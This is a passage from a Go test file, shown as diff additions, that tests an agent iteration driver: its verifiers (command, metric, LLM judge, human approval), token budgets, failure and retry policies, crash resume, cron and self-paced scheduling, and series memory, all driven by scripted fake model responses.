err := store.ReadEvents(sub) + if err != nil || len(cev) == 0 { + t.Fatalf("child iter-%d journal missing", i) + } + } +} + +// Goal mode with a scored metric verifier: the score is the current line +// count, threshold 3. Score climbs 1→2→3 and passes on the third. +func TestDriverMetricVerifier(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "add a line", MaxIterations: 5, + Verifiers: []driver.VerifierSpec{{ + Kind: driver.VerifierCommand, + Command: "wc -l < progress.txt", + MetricRegex: `(\d+)`, + Threshold: 3, + }}, + }) + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "satisfied" || res.Iterations != 3 { + t.Fatalf("res = %+v, want satisfied at 3", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if got := st.Iterations[2].Verdict.Score; got != 3 { + t.Errorf("iteration 3 score = %v, want 3", got) + } + if st.BestIter != 3 { + t.Errorf("best iter = %d, want 3 (highest score)", st.BestIter) + } +} + +// Goal mode with patience: a metric verifier whose threshold is unreachable +// (the score plateaus once it stops climbing). Here the child appends one +// line per iteration so the score keeps rising — to force a plateau we cap +// the metric with a threshold above any reachable value AND a patience that +// trips once no NEW best appears. We assert the stalled path by making the +// verifier score constant (a fixed metric) so no iteration improves. +func TestDriverGoalStalled(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "add a line", MaxIterations: 10, Patience: 2, + Verifiers: []driver.VerifierSpec{{ + Kind: driver.VerifierCommand, + Command: "echo 1", // constant score 1, threshold 5 → never passes, never improves + MetricRegex: `(\d+)`, + Threshold: 5, + }}, + }) + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "stalled" { + t.Fatalf("res = %+v, want stalled", res) + } + // Best is iteration 1 (first to reach the constant score); patience 2 means + // two more non-improving iterations end it — iteration 3. + if res.Iterations != 3 { + t.Fatalf("stalled at iteration %d, want 3", res.Iterations) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if st.BestIter != 1 { + t.Errorf("best iter = %d, want 1", st.BestIter) + } +} + +// Goal mode with a tree budget: each child bills 150; a 250-token budget +// admits two iterations, then the reserve refuses the third (spent 300 ≥ 250) +// and the run ends as budget. +func TestDriverBudgetStop(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "add a line", MaxIterations: 10, + Budget: driver.BudgetSpec{MaxTotalTokens: 250}, + Verifiers: []driver.VerifierSpec{{ + Kind: driver.VerifierCommand, Command: "test -f never-created", + }}, + }) + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "budget" || res.Iterations != 2 { + t.Fatalf("res = %+v, want budget at iteration 2", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if st.SpentTokens != 300 { + t.Errorf("spent = %d, want 300 (2×150)", st.SpentTokens) + } + last := events[len(events)-1] + if last.Type != event.TypeDriverCompleted { + t.Fatalf("last = %s, want driver_completed", last.Type) + } +} + +// on_child_failure default (stop): a failing child ends the driver as +// child_failed at the first iteration. +func TestDriverChildFailStop(t *testing.T) { + d, dStore := harnessFix(t, &driver.DriverSpec{ + Name: "goal", Task: "work", MaxIterations: 5, + Verifiers: []driver.VerifierSpec{{Kind: driver.VerifierCommand, Command: "true"}}, + }, scripted.Fixture{}) // empty fixture → child errors on its first turn + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "child_failed" || res.Iterations != 1 { + t.Fatalf("res = %+v, want child_failed at 1", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if len(st.Iterations) != 1 || st.Iterations[0].ChildReason != "error" { + t.Fatalf("iteration 0 = %+v, want one error iteration", st.Iterations) + } +} + +// on_child_failure surface: a failing child is a spent iteration but the +// driver keeps going, exhausting max_iterations across failures. +func TestDriverChildFailSurface(t *testing.T) { + d, dStore := harnessFix(t, &driver.DriverSpec{ + Name: "goal", Task: "work", MaxIterations: 3, + OnChildFailure: driver.FailurePolicy{Mode: driver.OnFailSurface}, + Verifiers: []driver.VerifierSpec{{Kind: driver.VerifierCommand, Command: "true"}}, + }, scripted.Fixture{}) + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "max_iterations" || res.Iterations != 3 { + t.Fatalf("res = %+v, want max_iterations at 3 (all surfaced)", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if len(st.Iterations) != 3 { + t.Fatalf("iterations = %d, want 3", len(st.Iterations)) + } + for i, it := range st.Iterations { + if it.ChildReason != "error" { + t.Errorf("iteration %d reason = %q, want error", i+1, it.ChildReason) + } + } +} + +// on_child_failure retry: the first two attempts fail, the third succeeds — +// the iteration recovers and the goal is satisfied, with all three attempt +// journals on disk. +func TestDriverChildFailRetryRecovers(t *testing.T) { + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + exec := &tool.Executor{WS: ws} + dStore, err := store.OpenEventStore(filepath.Join(root, "driver")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = dStore.Close() }) + + childSpec := &agent.AgentSpec{ + Name: "worker", Model: agent.ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "work", Tools: []string{"bash"}, MaxTurns: 5, + } + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)) + calls := 0 + d := &driver.Driver{ + Spec: &driver.DriverSpec{ + Name: "goal", Task: "work", MaxIterations: 5, Agent: childSpec, + OnChildFailure: driver.FailurePolicy{Mode: driver.OnFailRetry, Max: 2}, + Verifiers: []driver.VerifierSpec{{Kind: driver.VerifierCommand, Command: "test -f progress.txt"}}, + }, + Store: dStore, Clock: clk, DriverID: "drv-1", Exec: exec, + NewChild: func(cs *store.EventStore, session string, iter, budget int) *agent.Loop { + calls++ + fix := scripted.Fixture{} // attempts 1-2 fail + if calls >= 3 { + fix = workFixture() // attempt 3 writes progress.txt and succeeds + } + return &agent.Loop{Spec: childSpec, Provider: scripted.New(fix), + Exec: exec, Store: cs, Clock: clk, SessionID: session} + }, + } + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "satisfied" || res.Iterations != 1 { + t.Fatalf("res = %+v, want satisfied at 1 (retry recovered)", res) + } + if calls != 3 { + t.Errorf("child built %d times, want 3 (2 failures + 1 success)", calls) + } + // All three attempt journals exist on disk. + for _, sub := range []string{"iter-1", "iter-1-a2", "iter-1-a3"} { + if _, err := store.ReadEvents(filepath.Join(dStore.Dir(), "sub", sub)); err != nil { + t.Errorf("attempt journal %s missing: %v", sub, err) + } + } +} + +// llm_judge: the judge scores below threshold on iteration 1 and above on +// iteration 2, so the goal is satisfied on the second iteration. +func TestDriverLLMJudge(t *testing.T) { + judge := scripted.New(scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: `{"score":0.5,"pass":false,"reason":"needs more"}`}, {Finish: "end_turn"}}}, + {Respond: []scripted.Event{{Text: `here: {"score":0.9,"pass":true,"reason":"good now"}`}, {Finish: "end_turn"}}}, + }}) + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "work", MaxIterations: 5, + Verifiers: []driver.VerifierSpec{{ + Kind: driver.VerifierLLMJudge, Rubric: "Is the work complete?", Threshold: 0.8, + }}, + }) + d.Judge = judge + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "satisfied" || res.Iterations != 2 { + t.Fatalf("res = %+v, want satisfied at 2", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if st.Iterations[0].Verdict.Pass || !st.Iterations[1].Verdict.Pass { + t.Errorf("verdicts = [%+v, %+v], want fail then pass", st.Iterations[0].Verdict, st.Iterations[1].Verdict) + } + if st.Iterations[1].Verdict.Score != 0.9 { + t.Errorf("iteration 2 score = %v, want 0.9 (judge parsed from wrapped prose)", st.Iterations[1].Verdict.Score) + } + if st.BestIter != 2 { + t.Errorf("best iter = %d, want 2", st.BestIter) + } +} + +// stubResolver answers the human verifier's ask path without a tty or env. +type stubResolver struct{ approve bool } + +func (s stubResolver) Resolve(context.Context, agent.ApprovalRequest) (agent.ApprovalDecision, error) { + return agent.ApprovalDecision{Approve: s.approve, Reason: "stub", Source: "test"}, nil +} + +// human verifier: an approving human satisfies the goal on the first iteration. +func TestDriverHumanVerifier(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "work", MaxIterations: 3, + Verifiers: []driver.VerifierSpec{{Kind: driver.VerifierHuman, Rubric: "Does this meet the bar?"}}, + }) + d.Approvals = stubResolver{approve: true} + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "satisfied" || res.Iterations != 1 { + t.Fatalf("res = %+v, want satisfied at 1", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if !st.Iterations[0].Verdict.Pass || st.Iterations[0].Verdict.Verifier != driver.VerifierHuman { + t.Errorf("iteration 1 verdict = %+v, want human pass", st.Iterations[0].Verdict) + } +} + +// A denying human never satisfies the goal — the run exhausts max_iterations. +func TestDriverHumanVerifierDeny(t *testing.T) { + d, _ := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "work", MaxIterations: 2, + Verifiers: []driver.VerifierSpec{{Kind: driver.VerifierHuman, Rubric: "ok?"}}, + }) + d.Approvals = stubResolver{approve: false} + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "max_iterations" || res.Iterations != 2 { + t.Fatalf("res = %+v, want max_iterations at 2", res) + } +} + +// With an ArtifactStore, each completed iteration publishes its full carry to +// the CAS and IterationCompleted keeps the ref (resolving to the report) plus +// a short excerpt. +func TestDriverCarryToArtifactStore(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "work", MaxIterations: 5, + Verifiers: []driver.VerifierSpec{{ + Kind: driver.VerifierCommand, Command: "test $(wc -l < progress.txt) -ge 2", + }}, + }) + cas, err := store.OpenArtifactStore(filepath.Join(dStore.Dir(), "artifacts")) + if err != nil { + t.Fatal(err) + } + d.Artifacts = cas + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "satisfied" { + t.Fatalf("res = %+v, want satisfied", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + last := st.Iterations[len(st.Iterations)-1] + if last.CarryRef == "" { + t.Fatal("last iteration has no carry ref") + } + blob, err := cas.Get(last.CarryRef) + if err != nil { + t.Fatalf("carry ref does not resolve: %v", err) + } + if !strings.Contains(string(blob), "appended a line") { + t.Errorf("carry blob = %q, want the child report", blob) + } +} + +// journal appends a raw driver-stream fact — used to synthesize the partial +// journals a crash would leave, without actually crashing a run. +func journal(t *testing.T, es *store.EventStore, typ string, p any) { + t.Helper() + env, err := event.New(typ, p) + if err != nil { + t.Fatal(err) + } + if _, err := es.Append(env); err != nil { + t.Fatal(err) + } +} + +// Resuming an already-ended driver returns its recorded result and appends +// nothing. +func TestDriverResumeEnded(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "work", MaxIterations: 5, + Verifiers: []driver.VerifierSpec{{Kind: driver.VerifierCommand, Command: "test $(wc -l < progress.txt) -ge 1"}}, + }) + res1, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + before, _ := store.ReadEvents(dStore.Dir()) + + res2, err := d.Resume(context.Background()) + if err != nil { + t.Fatal(err) + } + if res2.Reason != res1.Reason || res2.Iterations != res1.Iterations { + t.Fatalf("resume = %+v, want the recorded %+v", res2, res1) + } + after, _ := store.ReadEvents(dStore.Dir()) + if len(after) != len(before) { + t.Errorf("resume of an ended driver appended %d events", len(after)-len(before)) + } +} + +// A crash between the satisfying IterationCompleted and DriverCompleted: +// resume re-derives satisfied from the fold without launching a new iteration. +func TestDriverResumeReDerivesSatisfied(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "work", MaxIterations: 5, + Verifiers: []driver.VerifierSpec{{Kind: driver.VerifierCommand, Command: "test $(wc -l < progress.txt) -ge 1"}}, + }) + journal(t, dStore, event.TypeIterationScheduled, &event.IterationScheduled{DriverID: "drv-1", Iter: 1, Schedule: "immediate"}) + journal(t, dStore, event.TypeIterationLaunched, &event.IterationLaunched{DriverID: "drv-1", Iter: 1, ChildSession: "drv-1-iter-1"}) + journal(t, dStore, event.TypeIterationCompleted, &event.IterationCompleted{ + DriverID: "drv-1", Iter: 1, ChildSession: "drv-1-iter-1", ChildReason: "completed", + Verdict: event.IterationVerdict{Pass: true, Score: 1}, + }) + + res, err := d.Resume(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "satisfied" || res.Iterations != 1 { + t.Fatalf("res = %+v, want satisfied at 1 (re-derived, no new iteration)", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + if events[len(events)-1].Type != event.TypeDriverCompleted { + t.Fatalf("last = %s, want driver_completed", events[len(events)-1].Type) + } + // No iteration 2 was ever launched. + for _, e := range events { + if e.Type == event.TypeIterationLaunched && strings.Contains(string(e.Payload), `"iter":2`) { + t.Fatal("resume launched a redundant iteration 2") + } + } +} + +// A crash after a FAILING iteration completed: resume continues from the next +// iteration and reaches the goal. +func TestDriverResumeContinues(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "work", MaxIterations: 5, + Verifiers: []driver.VerifierSpec{{Kind: driver.VerifierCommand, Command: "test $(wc -l < progress.txt) -ge 1"}}, + }) + journal(t, dStore, event.TypeIterationScheduled, &event.IterationScheduled{DriverID: "drv-1", Iter: 1, Schedule: "immediate"}) + journal(t, dStore, event.TypeIterationLaunched, &event.IterationLaunched{DriverID: "drv-1", Iter: 1, ChildSession: "drv-1-iter-1"}) + journal(t, dStore, event.TypeIterationCompleted, &event.IterationCompleted{ + DriverID: "drv-1", Iter: 1, ChildSession: "drv-1-iter-1", ChildReason: "completed", + Verdict: event.IterationVerdict{Pass: false, Score: 0}, + }) + + res, err := d.Resume(context.Background()) + if err != nil { + t.Fatal(err) + } + // Iteration 2 runs a real child (writes the first line) and satisfies. + if res.Reason != "satisfied" || res.Iterations != 2 { + t.Fatalf("res = %+v, want satisfied at 2 (resumed past the failed iteration)", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if len(st.Iterations) != 2 || !st.Iterations[1].Verdict.Pass { + t.Fatalf("iterations = %+v, want 2 with the second passing", st.Iterations) + } +} + +// Loop mode with no interval runs iterations back to back and, with no +// verifier, ends only at max_iterations — it never "satisfies". +func TestDriverLoopBackToBack(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "loop", Schedule: driver.ScheduleInterval, Task: "tick", MaxIterations: 3, + }) + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "max_iterations" || res.Iterations != 3 { + t.Fatalf("res = %+v, want max_iterations at 3", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if len(st.Iterations) != 3 { + t.Fatalf("iterations = %d, want 3", len(st.Iterations)) + } + for i, it := range st.Iterations { + if it.Verdict.Pass { + t.Errorf("iteration %d marked pass with no verifier", i+1) + } + } +} + +// Loop mode with an interval parks on the clock between iterations: the driver +// runs iteration 1 immediately, then each later iteration waits for its tick. +func TestDriverLoopIntervalCadence(t *testing.T) { + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + exec := &tool.Executor{WS: ws} + dStore, err := store.OpenEventStore(filepath.Join(root, "driver")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = dStore.Close() }) + + childSpec := &agent.AgentSpec{ + Name: "worker", Model: agent.ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "tick", MaxTurns: 5, + } + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)) + // A text-only child arms no activity-timeout timer, so the fake clock's + // only waiter is the driver's interval park — waitParked stays unambiguous. + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "tick"}, {Finish: "end_turn"}}}, + }} + d := &driver.Driver{ + Spec: &driver.DriverSpec{ + Name: "loop", Schedule: driver.ScheduleInterval, Interval: "1m", + Task: "tick", MaxIterations: 3, Agent: childSpec, + }, + Store: dStore, Clock: clk, DriverID: "drv-1", Exec: exec, + NewChild: func(cs *store.EventStore, session string, iter, budget int) *agent.Loop { + return &agent.Loop{Spec: childSpec, Provider: scripted.New(fix), + Exec: exec, Store: cs, Clock: clk, SessionID: session} + }, + } + + resCh := make(chan driver.Result, 1) + go func() { + res, rerr := d.Run(context.Background()) + if rerr != nil { + t.Errorf("driver run: %v", rerr) + } + resCh <- res + }() + + // Iteration 1 fires immediately; iterations 2 and 3 each wait for a tick. + for i := 0; i < 2; i++ { + waitParked(t, clk) + clk.Advance(time.Minute) + } + select { + case res := <-resCh: + if res.Reason != "max_iterations" || res.Iterations != 3 { + t.Fatalf("res = %+v, want max_iterations at 3", res) + } + case <-time.After(5 * time.Second): + t.Fatal("driver did not finish after advancing the clock") + } +} + +// cronHarness wires a loop-mode cron driver with a text-only child (no bash +// timeout timer polluting Waiters). advanceOnCall1 simulates iteration 1 +// running long: the factory advances the fake clock past later ticks. +func cronHarness(t *testing.T, spec *driver.DriverSpec, clk *clock.Fake, advanceOnCall1 time.Duration) (*driver.Driver, *store.EventStore) { + t.Helper() + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + dStore, err := store.OpenEventStore(filepath.Join(root, "driver")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = dStore.Close() }) + childSpec := &agent.AgentSpec{ + Name: "worker", Model: agent.ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "tick", MaxTurns: 5, + } + spec.Agent = childSpec + calls := 0 + d := &driver.Driver{ + Spec: spec, Store: dStore, Clock: clk, DriverID: "drv-1", + Exec: &tool.Executor{WS: ws}, + NewChild: func(cs *store.EventStore, session string, iter, budget int) *agent.Loop { + calls++ + if calls == 1 && advanceOnCall1 > 0 { + clk.Advance(advanceOnCall1) + } + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "tick"}, {Finish: "end_turn"}}}, + }} + return &agent.Loop{Spec: childSpec, Provider: scripted.New(fix), + Exec: &tool.Executor{WS: ws}, Store: cs, Clock: clk, SessionID: session} + }, + } + return d, dStore +} + +// Cron cadence with overlap=skip (default): iteration 1 waits for its tick +// and then runs 2h long, so the 02:00 and 03:00 ticks pass — each becomes a +// journaled IterationSkipped, and the next real run waits for 04:00. +func TestDriverCronOverlapSkip(t *testing.T) { + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 30, 0, 0, time.UTC)) + d, dStore := cronHarness(t, &driver.DriverSpec{ + Name: "nightly", Schedule: driver.ScheduleCron, Cron: "0 * * * *", + Task: "tick", MaxIterations: 4, + }, clk, 2*time.Hour) + + resCh := make(chan driver.Result, 1) + go func() { + res, rerr := d.Run(context.Background()) + if rerr != nil { + t.Errorf("driver run: %v", rerr) + } + resCh <- res + }() + + // Park 1: waiting for the 01:00 tick. Iteration 1 then runs "2h long". + waitParked(t, clk) + clk.Advance(30 * time.Minute) + // Ticks 02:00 and 03:00 were missed (skipped as iterations 2 and 3); + // park 2 waits for 04:00. + waitParked(t, clk) + clk.Advance(time.Hour) + + res := <-resCh + if res.Reason != "max_iterations" || res.Iterations != 4 { + t.Fatalf("res = %+v, want max_iterations at 4", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if len(st.Iterations) != 4 { + t.Fatalf("iterations = %d, want 4", len(st.Iterations)) + } + wantSkipped := []bool{false, true, true, false} + for i, it := range st.Iterations { + if it.Skipped != wantSkipped[i] { + t.Errorf("iteration %d skipped = %v, want %v", i+1, it.Skipped, wantSkipped[i]) + } + if it.Completed != !wantSkipped[i] { + t.Errorf("iteration %d completed = %v, want %v", i+1, it.Completed, !wantSkipped[i]) + } + } +} + +// Cron cadence with overlap=coalesce: the missed 02:00 and 03:00 ticks fold +// into ONE immediate iteration 2 — no skip events, no extra park. +func TestDriverCronOverlapCoalesce(t *testing.T) { + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 30, 0, 0, time.UTC)) + d, dStore := cronHarness(t, &driver.DriverSpec{ + Name: "nightly", Schedule: driver.ScheduleCron, Cron: "0 * * * *", + Task: "tick", MaxIterations: 2, Overlap: driver.OverlapCoalesce, + }, clk, 2*time.Hour) + + resCh := make(chan driver.Result, 1) + go func() { + res, rerr := d.Run(context.Background()) + if rerr != nil { + t.Errorf("driver run: %v", rerr) + } + resCh <- res + }() + + // One park only (the 01:00 tick); iteration 2 coalesces and runs at once. + waitParked(t, clk) + clk.Advance(30 * time.Minute) + + select { + case res := <-resCh: + if res.Reason != "max_iterations" || res.Iterations != 2 { + t.Fatalf("res = %+v, want max_iterations at 2", res) + } + case <-time.After(5 * time.Second): + t.Fatal("coalesce should not park again — the missed tick runs immediately") + } + events, _ := store.ReadEvents(dStore.Dir()) + for _, e := range events { + if e.Type == event.TypeIterationSkipped { + t.Error("coalesce must not journal IterationSkipped") + } + } + st, _ := driver.Fold(events) + if len(st.Iterations) != 2 || !st.Iterations[0].Completed || !st.Iterations[1].Completed { + t.Fatalf("iterations = %+v, want 2 completed", st.Iterations) + } +} + +// selfPacedHarness wires a self_paced driver whose per-iteration fixture is +// chosen by call number (1-based). Fixtures should be text/data-tools only so +// the fake clock's Waiters reflects the pace park alone. +func selfPacedHarness(t *testing.T, spec *driver.DriverSpec, clk *clock.Fake, + fixFor func(call int) scripted.Fixture) (*driver.Driver, *store.EventStore) { + t.Helper() + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + dStore, err := store.OpenEventStore(filepath.Join(root, "driver")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = dStore.Close() }) + childSpec := &agent.AgentSpec{ + Name: "worker", Model: agent.ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "pace yourself", MaxTurns: 5, + } + spec.Agent = childSpec + exec := &tool.Executor{WS: ws} + calls := 0 + d := &driver.Driver{ + Spec: spec, Store: dStore, Clock: clk, DriverID: "drv-1", Exec: exec, + NewChild: func(cs *store.EventStore, session string, iter, budget int) *agent.Loop { + calls++ + return &agent.Loop{Spec: childSpec, Provider: scripted.New(fixFor(calls)), + Exec: exec, Store: cs, Clock: clk, SessionID: session} + }, + } + return d, dStore +} + +func paceFixture(after string) scripted.Fixture { + return scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "p1", Name: "schedule_next", + Args: map[string]any{"after": after}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "scheduled the next pass"}, {Finish: "end_turn"}}}, + }} +} + +func finishFixture() scripted.Fixture { + return scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "f1", Name: "finish_series", + Args: map[string]any{"reason": "all caught up"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done with the series"}, {Finish: "end_turn"}}}, + }} +} + +// self_paced: iteration 1 declares schedule_next{1m} (the driver parks on +// it); iteration 2 claims finish_series and the human gate approves — +// the series ends satisfied. +func TestDriverSelfPaced(t *testing.T) { + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)) + d, dStore := selfPacedHarness(t, &driver.DriverSpec{ + Name: "series", Schedule: driver.ScheduleSelfPaced, Task: "keep up", MaxIterations: 5, + }, clk, func(call int) scripted.Fixture { + if call == 1 { + return paceFixture("1m") + } + return finishFixture() + }) + d.Approvals = stubResolver{approve: true} + + resCh := make(chan driver.Result, 1) + go func() { + res, rerr := d.Run(context.Background()) + if rerr != nil { + t.Errorf("driver run: %v", rerr) + } + resCh <- res + }() + + waitParked(t, clk) // parked on the declared 1m pace + clk.Advance(time.Minute) + + res := <-resCh + if res.Reason != "satisfied" || res.Iterations != 2 { + t.Fatalf("res = %+v, want satisfied at 2 (approved finish_series)", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if len(st.Iterations) != 2 || !st.Iterations[0].Completed || !st.Iterations[1].Completed { + t.Fatalf("iterations = %+v", st.Iterations) + } +} + +// self_paced default on_no_intent (finish): a child that neither schedules +// nor claims completion ends the series after its iteration. +func TestDriverSelfPacedNoIntentFinish(t *testing.T) { + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)) + d, _ := selfPacedHarness(t, &driver.DriverSpec{ + Name: "series", Schedule: driver.ScheduleSelfPaced, Task: "one shot?", MaxIterations: 5, + }, clk, func(int) scripted.Fixture { + return scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "nothing more to plan"}, {Finish: "end_turn"}}}, + }} + }) + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "satisfied" || res.Iterations != 1 { + t.Fatalf("res = %+v, want satisfied at 1 (no intent → finish)", res) + } +} + +// self_paced clamp: a 10h request under pace_max=1h parks exactly 1h. +func TestDriverSelfPacedClamp(t *testing.T) { + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)) + d, _ := selfPacedHarness(t, &driver.DriverSpec{ + Name: "series", Schedule: driver.ScheduleSelfPaced, Task: "pace", MaxIterations: 5, + PaceMax: "1h", + }, clk, func(call int) scripted.Fixture { + if call == 1 { + return paceFixture("10h") + } + return scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "no more"}, {Finish: "end_turn"}}}, + }} + }) + + resCh := make(chan driver.Result, 1) + go func() { + res, rerr := d.Run(context.Background()) + if rerr != nil { + t.Errorf("driver run: %v", rerr) + } + resCh <- res + }() + + waitParked(t, clk) + clk.Advance(time.Hour) // 1h suffices only because the 10h ask was clamped + + select { + case res := <-resCh: + if res.Reason != "satisfied" || res.Iterations != 2 { + t.Fatalf("res = %+v, want satisfied at 2", res) + } + case <-time.After(5 * time.Second): + t.Fatal("driver still parked after 1h — the pace was not clamped to pace_max") + } +} + +// self_paced denied finish: the human gate rejects the claim, the series +// continues (floor pace 0 → immediately) and ends on the next iteration's +// no-intent finish. +func TestDriverSelfPacedFinishDenied(t *testing.T) { + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)) + d, dStore := selfPacedHarness(t, &driver.DriverSpec{ + Name: "series", Schedule: driver.ScheduleSelfPaced, Task: "try to quit", MaxIterations: 5, + }, clk, func(call int) scripted.Fixture { + if call == 1 { + return finishFixture() + } + return scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "ok, wrapping up quietly"}, {Finish: "end_turn"}}}, + }} + }) + d.Approvals = stubResolver{approve: false} + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "satisfied" || res.Iterations != 2 { + t.Fatalf("res = %+v, want the denied finish to force iteration 2", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if len(st.Iterations) != 2 { + t.Fatalf("iterations = %d, want 2 (finish denied → continued)", len(st.Iterations)) + } +} + +// Series memory: iteration 1 writes the memory doc; iteration 2's task must +// carry it (the child's scripted Expect asserts the injected block — a +// mismatch fails the child and the driver would end child_failed). +func TestDriverSeriesMemoryInjection(t *testing.T) { + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + exec := &tool.Executor{WS: ws} + dStore, err := store.OpenEventStore(filepath.Join(root, "driver")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = dStore.Close() }) + childSpec := &agent.AgentSpec{ + Name: "worker", Model: agent.ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "keep a series log", Tools: []string{"bash"}, MaxTurns: 5, + } + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)) + calls := 0 + d := &driver.Driver{ + Spec: &driver.DriverSpec{ + Name: "series", Schedule: driver.ScheduleInterval, Task: "do the rounds", + MaxIterations: 2, Agent: childSpec, SeriesMemory: "SERIES.md", + }, + Store: dStore, Clock: clk, DriverID: "drv-1", Exec: exec, + NewChild: func(cs *store.EventStore, session string, iter, budget int) *agent.Loop { + calls++ + var fix scripted.Fixture + if calls == 1 { + fix = scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "w1", Name: "bash", + Args: map[string]any{"command": "echo remember-the-milk > SERIES.md"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "noted"}, {Finish: "end_turn"}}}, + }} + } else { + fix = scripted.Fixture{Steps: []scripted.Step{ + { + // The injected series memory rides the task — the run's + // first (and here last) user message. + Expect: scripted.Expect{LastMessageContains: "remember-the-milk"}, + Respond: []scripted.Event{{Text: "picked up where I left off"}, {Finish: "end_turn"}}, + }, + }} + } + return &agent.Loop{Spec: childSpec, Provider: scripted.New(fix), + Exec: exec, Store: cs, Clock: clk, SessionID: session} + }, + } + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "max_iterations" || res.Iterations != 2 { + t.Fatalf("res = %+v, want both iterations 